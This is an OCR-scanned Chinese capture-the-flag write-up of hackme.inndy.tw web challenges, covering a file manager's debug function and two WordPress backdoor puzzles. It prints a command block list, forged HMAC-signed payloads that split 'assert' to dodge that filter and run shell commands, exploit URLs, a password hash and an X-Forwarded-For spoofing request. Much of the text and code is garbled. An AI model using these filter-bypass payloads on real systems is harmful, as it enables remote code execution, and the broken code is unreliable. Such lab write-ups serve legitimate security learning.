if (!get_show item($dir, $item)) show error(§item . ": " . SGLOBALS["error_msg"]["accessfile"]);

$abs_item = get_abs item($dir, $item):
|| stristr(Sabs_item, [‘config')) show error(Sitem . ": " . $GLOBALS["er:

if (!file_in web($abs_item) || stristr(Sabs_icem,

$browser = id browser () :

i

header ('Content-Type: ' . ((S$browser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream')):

header ('Expires: ' . gmdate('D, d M ¥ H:i:=") . ' GMT'");

header ('Content-Transfer-Encoding: binary'):

header ('Content-Length: ' . filesize(Sabs_item)):

if (Sbrowser == 'IEZ') {
header ('Content-Disposition: attachment; filename="' . $item . '""):
header ('Cache-Control: must-revalidate, post-check=0, pre-check=0"'):;
header ("Pragma: public');

} else {
header ('Content-Disposition: attachment; filename="' . §Sitem . '"');
header ('Cache-Control: no-cache, must-revalidate'):

header ("Pragma: no-cache');
}

ereadrile (EEENEEE) ;

exit;

WAEE Y — I edit. N2 fun_editphp H edit file() B& %K —&5 4>

function edit file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show error ($GLOBALS["error msg"] ["accessfunc"]):
if (!get_is file($dir, $item)) show error(Sitem . ": " . SGLOBALS["error msg"]["fileexist"]):
if (!get_show item($dir, $item)) show error(Sitem . ": " . S$GLOBALS["error msg"]["accessfile"]);
$fname = get abs item($dir, $item);
if (!file_in web ($fname)) show_error ($GLOBALS["error msg"] ["accessfile"]);

if (isset ($GLOBALS['_POST']["dosave"]) && $GLOBALS['_POST'] ["dosave"] == "yes") {
Sitem = b (stripslashes (§GLOBALS[' POST'] ["fname"])):
$fname2 = get_abs_item($dir, S$item);
if (!isset($item) || $item == "") show error ($GLOBALS["error msg"] ["miscrnoname"”]):
if ($fname != $fname2 && @file exists($fname2)) show error($item . ": " . $GLOBALS["error msg"] ["itemdoesexist"]):

savefile ($dir, $fname2);
$fname = $fname2;
}
§fp = @fopen($fname, "r"):
if (§fp === false) show_error(§item . ": " . §GLOBALS["error_msg"]["openfile"]):
§s_item = get rel item($dir, $item);
if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47):
show_header ($GLOBALS ["messages"] ["actedit"] . ": /" . §3_item): ?><script language="JavaScriptl.2" type="text/javascript">
<1--

#%H basename(), FTLAZZIPA Nurl, $RE] 7R K S A

[guest] - REEHEER: /../..l.configl.htusers.php

<?php

$GLOBALS["users"] = array(
array(fadmin15trat0r], "34af0d074b17744d 1bb939765002776f, " /data”, "hiips://dafug-manager.hackme.inndy.tw/data”, 1, " ht", 7
array("inndy”, "fc5e038d38a57032085441e7fe7010b0", " /data/inndy”, "hitps://dafug-manager hackme.inndy tw/data/inndy", 0, "* hi
array("guest”, "084e0343a0486ff05530df6c705c8bb4" " /data/guest”, "https://dafug-manager. hackme.inndy.tw/data/guest”, 0, "* ht




Wordwrap: (IE only) &)

/I config/ htusers php | ﬁﬁ == EE8

usernamejit /&adm1n15tratOr, %5 Zhow do you turn this on (34af0d074b17f44d1bb939765b027 764 i md5jfif 415 21D

BNL IR FCFEHIMDS

34af0d074b17f44d1bb939765b02776f

md5

how[=F&]do[=HE]you[= & turn[==r&]this[Z=1&]on

BN P 44 R ) B f5lag

[adm1n15trat0r] - Bi: /

QL—& OFEHR OFM#A QL HE HEH b8 WK QLE »EE O

0 &g K

O guest 4 KB

O < inndy 4 KB

O 3 flag2 (-w- ") it 31 Bytes

O ) where-is-flag-3-do-you-know-that.txt 61 Bytes

O ) index.html 377 Bytes
5 EIRHE (/8 6.3 GB) 8.46 KB

ma

B

Bz

BEg ==
MR
HTML 485

EXEH

2019/09/01 06:45
2016/10/04 09:19
2016/10/04 04:41
2016/10/04 06:10
2016/10/04 09:18

HERR e
Arwxrwxrwx
drwxr-xr-x

“[WT=l-= e
~TWT=l-= e
“[WT=l-= e

Hope that you like this damn vulnerable dafugManager :)

Mg - ewmme e s pg = mammae em o e oem e e

FLAG{how do you turn this on?}

HIRY™ g

o phpfRAd & it
o Seay#ft H 3 #H THIS IR

17. dafug-manager 3



Get a shell to find flag 3

X R L TRATTER B 3 (1) iy 2 AT 10, EFlshell, 23815 flag
BT REEES, SRied i1y, 4557 /core/fun_debug.php & B 1 i)

<?php
function make command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret key"]);

return sprintf('%s.%s', base64 encode($cmd), $hmac);

b
function do_debug() {

assert(strlen($GLOBALS[ 'secret_key']) > 40);

$dir = $GLOBALS[' GET']['dir'];

if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {

show_error('You are not hacky enough :(');
¥
list($cmd, $hmac) = explode('."', $GLOBALS[' GET']['command'], 2);
$cmd = base64 decode($cmd);
$bad_things = array('system', ‘exec', 'popen', ‘'pcntl_exec', ‘'proc_open', ‘'passthru', '°', 'eval', 'assert’,

'preg_replace', 'create_function', 'include', 'require', ‘'curl',);

foreach ($bad_things as $bad) {

if (stristr($cmd, $bad)) {

die('2bad');

¥
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {

die(eval($cmd));
} else {
show_error('What does the fox say?');

KA R 2, WRIEFRAE T, B0, XEFERISE

if (strcmp(Sdir, "magically") stremp ($§dir, "hacker") stremp ($dir, "admin"))
show_error (' are not h

hacky enough :(")~

E Bstremp() k4, FATHAR S E K BEEE, W DUR B TS0, flln dir[ ]=1
B, ®ElemdSH T, FERAIMbaseb4fm 4, I HMhmacid 256 IED 4z
X AR s T AR R, FRATTRT DL R

function make_command($cmd) {

$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret key"]);
return sprintf('%s.%s', base64 encode($cmd), $hmac);

PR E— N R RN, REALNE, HX - REEERFHFH LR RE R .
TENHEF R iE S 2 —, PHP GIRZREEARIMETT: )

$bad_things = array('system', ‘'exec', 'popen', 'pcntl _exec', 'proc_open', 'passthru', '°', 'eval', ‘'assert', 'pr

eg replace', 'create function', 'include', 'require', 'curl',);



ATAT LA Flbase64 4 eid ix Lo xg AU M A% Bty BIRHRECR BIZE X AR XA 7 id i fr 2 (7 A S
Bl AR s

<?php

function make command($cmd) {

$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeINj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPM3");

return sprintf('%s.%s', base64 encode($cmd), $hmac);

)
echo make_command('$a=\"ass\';$b=\"ert\';$c=%$a.$b;$c(base64 decode(\'c31zdGVtKCculL2ZsYWczL211b3cgLi9mbGFnMy9mbGF

nMycp\'));");
2>

IBAT RS BIPHE R B 2 7 B

JGE9J2Fzcyc73GI9I2VydCc7IGMOIGEUIGI7IGMoYmFzZTYOX2R1Y29kZSgnYzNsemRHVNRLQ2N1TDJac11XY3pMMjFsYjNjZOxpOW1iROZuTXk5
bWIHRmSNeWNwJykpOw==.a732bca4115e60392997efb8da69fe8224b35585618435ala65cbc403d3c1b32

FEHBIER SN R FI B urf 21 7T T A3

https://dafug-manager.hackme.inndy.tw/?action=debug&dir[]=&command=JGE9InN5cyI7IGI9InNR1bSI7IGMOIGEUIGI7IGMoImxzI

GZsYWczIik7.1704151fc14b04ab80317ccb0009b18bb478bc6edc25756d48e38a4dff57b376

& C O # dafug-manager.hac
i A e 3 BREITE

Makefile flag3 meow meow.c

e e Biflag3 3 i 1, X HeathiEM, (HZE BIA Pmeow.c, JllE RIS

https://dafug-manager.hackme.inndy.tw/?action=debug&dir[]=&command=JGE9J2Fzcyc73GI9I2VydCc7IGMOIGEUIGI7IGMoYmFzZ
TYOX2R1Y29kZSgnYzNsemRHVNRLQ2N1TDJac11XY3pMMjFsYjNjZOxpOW1iROZuTXk5bWIHRm5NeWNwIykpOw==.a732bcad115e60392997efb8

da69fe8224b35585618435ala65cbc403d3c1b32

FIH LT url Bl S flag

i A g ERETE CTRE.RTE HEEE EFRE

FLAG{Oh, Looks like you have a shell. Please don't fuck up the system.}

AINAE

e phpiir AT I —LE G £ 1Y
https://chybeta.github.io/2017/08/15/%E5%91%BD %E4%BB %A4%E6%89%A7 %E8%A1%8C%E7%9A %84 %E4%B8%80
%E4%BA%9B%E7%BB%95%E8%BF %87 %E6%8A%80%ES%B7%A7/

o stromp 2 JiE i

e hash_hmac()ek %t
https://www.php.net/manual/zh/function.hash-hmac.php

17. wordpress 1


https://chybeta.github.io/2017/08/15/%25E5%2591%25BD%25E4%25BB%25A4%25E6%2589%25A7%25E8%25A1%258C%25E7%259A%2584%25E4%25B8%2580%25E4%25BA%259B%25E7%25BB%2595%25E8%25BF%2587%25E6%258A%2580%25E5%25B7%25A7/
https://www.php.net/manual/zh/function.hash-hmac.php

Something strange is hidding in the source code, find it.
Tips: This challenge does not require to exploit any thing, don’t use any scanner.

A1 MR

Something strange is hidding in the source code

X KA wordpress# i 118 %%, & H CL7E YouTube |24 (1) /e hexo#% i %
EAER, WA ARHREI, BHEGRA RS EE

T FFrobots ixti% 45

BREHE

FE 5 — s SO HUR LAY

Can't find flag?

it
Backup File

RExE
https://www.dropbox.com/s/r5fk52thwh79kz

b-security-course-game2.7z2d1=0 =
#" Backup File

# Hello world! [BIE

Hello world! FA18 !

SeayH A& i+ % Tflag, KI—KHE
XA REEH R KT T
—RVLIX TR TS W, e AN IR AR AT BEATTE (3 Ty

function print fldg()

Sh = 'm'.sprintf('%sid','d',-4+%e0)
1ft$ht$ GET['passwlrd']) === '5Sa 65c832dd7£%bbde")
lf('p get_user 11)(] === "127 {
eval (merypt decry'pt(MCRYPT. RIJNDAEL 256, $h($_GET['passwOrd'].AUTH KEY), base64_decode ('zEFnGVANrtEUTMLVyBusu4pqpHjghn3X
} else {
die ('</head><body><hl>Sorry, Only admin from localhost can get flag')

}

RAHAR, KIL T HEAFrtlagh ph%, passwOrd 1 HI N 28 md5 ik % 5 45 R N



HINLLRS

Sada11fd9c69c78eab5¢c832dd7f9bbde

mdS

cat[==t&]flag

P AR 328 7 T e urk 12 B lag £ 6

https://wp.hackme.inndy.tw/?passwlrd=cat flag

C1&HIMDS




B R

gy Scoreboard X @ Game2-Whereismyflags? X (@ BASEGAINEFEEES X | <+
< C (0 @@ https//wp.hackme.inndy.tw/?passwird=cat flag
i R MiEFs FEFIFS CTFERTE HEEE EE8E Chrome-+ EINRIR

Sorry, Only admin from localhost can get tlag

HAREFEHprint {1490k T, KIFE
wp_get_user_ip()Ei %L

function wp_get user ip() {

T /& wp_get_user_ip() ===

'127.0.0.1' A fefi2iflag, EREE—T

{

§ip =
} elseif ('enptyts SERV'ER['ZZ??P X ~ FORWARDED FOR'])) {
$ip = $_SERVER['[HTTP_X_FORWARDED_FOR'l:
}
return $ip:
}
KELH, PRZIAEHIEELERATHXFFS L Wo( ~— o
T&T-, HlburpsuitedNELF+5 N X-Forwarded-For: 127.0.0.1

, ftrepeatertsendl{ f5flag

Request

Raw | Params | Headers | Hex

Response

Raw I Headers

HTUL | Render |

GET /?passwOrd=cat%20flag HTTP/1.1

Host: wp.hackme.inndy .tw

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/htmi, htmi+xmi, :g=0.9,",q=0.8

Accept-Language: Zh-CN,2h,q=0.8,2h-TW;q=0.7, 2h-HK;q=0.5,en-US;q=0.3,en/q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

X-Forwarded-For: 127.0.0.1

17. wordpress 2

Find another strange thing in the source code.

e

=script type=textjavascript' src="https_//wp.hackme.inndy tw/wp-includes/js/jquery/iquery js Tver=1.12.4"></script>
<script type=textjavascript’

src="hitps ://wp.hackme.inndy .tw/wp-includes/js jquery/jquery-migrate.min.js ?ver=1.4.1"></script>

<link rel="hitps:/iapi.w org" href="hitps //wp hackme.inndy tw/wp-json/ />

<iink rel="EditURI" type="application/rsd+xm" titie="RSD" href="https /wp.hackme.inndy tw/xmirpc.php?rsd” />
«<hink rel=" t* type="ar texmi®

href="https .//wp hackme.inndy .tw/wp-includes/whvmanifest.xml* />

<meta name="generator* content="WordPress 4.6.1" />

</ ﬁag* FLAG{Hello, You found my secret flag piugin’ Tr/ to fnum backvwr in my theme D) —>

T ETE:

<style type="texticss">.recer ing:0 i
timportant;}</style>
<head>

<body class="home blog hfeed™>

<div class="preioader™>
=<div class- p«ebadef inner*>

T S T

Tips: This challenge does not require to exploit any thing, don’t use any scanner.

b fagf R BATE L P RS T, T HAE20135:10 7 (19— S5 Aflag2, /A s i 1, Attt 2 A FH I A Ja T R i i R

i, T HAE

wordpress\wp-content\themes\astrid\template-parts\content-search.php

e nl B

<!-- debug:<?php var_dump($wp_query->post->{'post

_'.(string)($_GET[ 'debug']?:

"type')}); > -->




A B 38 I postEEAME SR HUX MBI 25 2
P @ T 1 url3k A3 flag

view-source:https://wp.hackme.inndy.tw/archives/date/2013/106?s=&debug=content

CSMGEE L LGos  pUsbLn Ui 4 vh LAGios Lt L6 CGLLLEAGL ¢ 44 vt G55 UL 516 L e/ f e SACLILURL. LAEILLY e LU/ BhL LI YL

13T15:44:33+00:007>2013-10-13</time><time class="updated” datetime="2016-10-13T16:31:42+00:00">2016-10-13</tin

class="url fn n” href="https://wp. hackme. inndy. tw/archives/author/security—or-nothing” > Inndy</a></span></span>

href="https://wp. hackme. inndy. tw/archives/category/uncategorized” rel="category tag >F4FEE/a><¢/span> </
¢/header><!— . entry-header —>

<div class="entry-summary
o> ZRE E’JIEZ_’%EETFE;: </p>
</div><!— . entry—summary ——>
{!— debug:string (49) TFLAG{Theme is good, but it may contains backdOOrH”
—>

{footer class="entry—footer”>
</footer><!— . entry—footer —>
{/article><{!— #post—##f —>

</main><!—— #main ——>
{/section><!— #primary —>»

Ja T LSRR A R EKIwp A i kflag, P bUL 5 X 4 2 0E
AKXZH T FRKE:
e https://skysec.top/2018/01/07/hackme%E7%BD %91%E7 %AB%99%E8%BE %B9%E5%81%9A%E8%BE %B9%E8%AE %
B0%E5%BD %95/#WEB
e https://museljh.github.io/2019/02/14/hackme%20web%20wp/
¢ https://blog.csdn.net/xiaorouiji/article/details/82461190
e http://chaosec.top/2018/08/28/hackme/
¢ https://www.aloxaf.com/2018/07/hackme_inndy/

e https://github.com/taoky/my-inndy-ctf-writeup/blob/master/Web.md


https://skysec.top/2018/01/07/hackme%25E7%25BD%2591%25E7%25AB%2599%25E8%25BE%25B9%25E5%2581%259A%25E8%25BE%25B9%25E8%25AE%25B0%25E5%25BD%2595/#WEB
https://museljh.github.io/2019/02/14/hackme%20web%20wp/
https://blog.csdn.net/xiaorouji/article/details/82461190
http://chaosec.top/2018/08/28/hackme/
https://www.aloxaf.com/2018/07/hackme_inndy/
https://github.com/taoky/my-inndy-ctf-writeup/blob/master/Web.md
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